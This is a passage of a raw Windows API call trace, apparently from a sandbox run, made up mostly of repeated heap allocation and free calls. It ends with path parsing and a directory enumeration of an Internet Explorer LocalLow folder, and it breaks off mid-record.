lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.215] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.216] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.216] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.217] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.217] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.218] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.219] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.219] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.220] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.220] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\") returned="Services\\" [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.221] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0069.221] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.221] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0069.222] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.222] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.222] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0069.222] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0069.222] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.222] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.222] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0069.222] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.222] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.222] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.222] PathFindFileNameW (pszPath="") returned="" [0069.222] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.222] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.223] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.223] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, 